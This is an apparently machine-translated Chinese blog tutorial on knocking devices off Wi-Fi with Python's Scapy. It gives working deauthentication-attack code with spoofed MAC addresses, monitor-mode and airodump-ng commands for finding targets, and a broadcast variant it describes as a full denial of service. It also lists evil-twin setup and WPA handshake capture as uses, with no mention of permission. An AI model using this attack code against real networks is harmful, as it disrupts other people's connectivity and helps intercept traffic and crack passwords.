如何在Python中使用Scapy断开设备与Wi-Fi的连接?

2021年11月16日16:22:35 发表评论 933 次浏览

本文通过使用 Python 中的 Scapy 库连续发送解除认证帧来强制设备与网络断开连接,这称为解除认证攻击,并详细介绍Scapy断开设备与Wi-Fi的连接示例

Python如何断开设备与Wi-Fi的连接?在本教程中,我们将看到如何使用 Scapy 从你实际上不属于 Python 的特定网络中踢出设备,这可以通过使用处于监控模式的网络设备在空中发送取消身份验证帧来完成.

攻击者可以随时向无线接入点发送解除身份验证帧,并使用受害者的欺骗 MAC 地址,从而导致接入点与该用户解除身份验证。正如你可能猜到的那样,该协议不需要对此帧进行任何加密,攻击者只需要知道受害者的 MAC 地址,这很容易使用airodump-ng等实用程序捕获。

如何使用Scapy断开Wi-Fi连接?让我们导入 Scapy(你需要先安装它,请前往本教程或官方 scapy 文档进行安装):

from scapy.all import *

幸运的是,Scapy有一个数据包类Dot11Deauth()正是我们正在寻找的,它需要一个802.11 原因代码作为参数,我们现在选择值 7(这是从非关联站接收的帧作为这里提到)。

Scapy断开设备与Wi-Fi的连接示例 - 让我们制作数据包:

target_mac = "00:ae:fa:81:e2:5e"
gateway_mac = "e8:94:f6:c4:97:3f"
# 802.11 frame
# addr1: destination MAC
# addr2: source MAC
# addr3: Access Point MAC
dot11 = Dot11(addr1=target_mac, addr2=gateway_mac, addr3=gateway_mac)
# stack them up
packet = RadioTap()/dot11/Dot11Deauth(reason=7)
# send the packet
sendp(packet, inter=0.1, count=100, iface="wlan0mon", verbose=1)

Python如何断开设备与Wi-Fi的连接?这基本上是接入点向目标请求解除身份验证,这就是为什么我们将目标 MAC 地址设置为目标设备的 MAC 地址,将源 MAC 地址设置为接入点的 MAC 地址,然后我们每次发送堆栈帧 100 次0.1 秒,这将导致取消身份验证 10 秒。

你还可以将“ff:ff:ff:ff:ff:ff”(广播 MAC 地址)设置为addr1(target_mac),这将导致完全拒绝服务,因为没有设备可以连接到该接入点,这是相当有害!

如何使用Scapy断开Wi-Fi连接?现在要运行它,你需要一台 Linux 机器和一个处于监控模式的网络接口。要在网络接口中启用监视器模式,你可以使用iwconfig或airmon-ng(安装aircrack-ng 后)Linux 实用程序:

sudo ifconfig wlan0 down
sudo iwconfig wlan0 mode monitor

或者:

sudo airmon-ng start wlan0

我的网络接口名为wlan0,但你应该使用正确的网络接口名称。

现在你可能想知道,如果我们没有连接到该网络,我们如何获得网关和目标 MAC 地址?这是一个很好的问题,当你将网卡设置为监控模式时,你实际上可以在 linux 中使用此命令在空中嗅探数据包(当你安装aircrack-ng 时):

airodump-ng wlan0mon

注意:wlan0mon是我在监控模式下的网络接口名称,你可以使用iwconfig Linux 实用程序检查你的网络接口名称。

Scapy断开设备与Wi-Fi的连接示例介绍:此命令将继续嗅探802.11 信标帧,并将 Wi-Fi 网络安排给你以及附近的连接设备。

Python如何断开设备与Wi-Fi的连接?在我们执行脚本之前,我的受害者 Android 手机(其 MAC 地址为“00:ae:fa:81:e2:5e”)通常连接到 Wi-Fi 接入点(其 MAC 地址为“e8:94”) :f6:c4:97:3f" ):

如何在Python中使用Scapy断开设备与Wi-Fi的连接?现在让我们执行脚本:

如何在Python中使用Scapy断开设备与Wi-Fi的连接?回到受害者设备:

如何在Python中使用Scapy断开设备与Wi-Fi的连接?

如你所见,我们已经成功进行了解除身份验证攻击!你可以通过 -c 0 (默认情况下)来阻止他连接,直到你停止执行!

如何使用Scapy断开Wi-Fi连接?我强烈建议你检查  使用命令行参数的代码的完整版本,如图所示。

你可能想知道,为什么这很有用?:

  • 解除身份验证攻击的主要目的之一是强制客户端连接到Evil 孪生接入点,该接入点可用于捕获在客户端和 Rogue Access Point 之间传输的网络数据包。
  • 捕获 WPA 4 次握手也很有用,然后攻击者需要破解 WPA 密码。
  • 你也可以和你的朋友开玩笑!
木子山

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: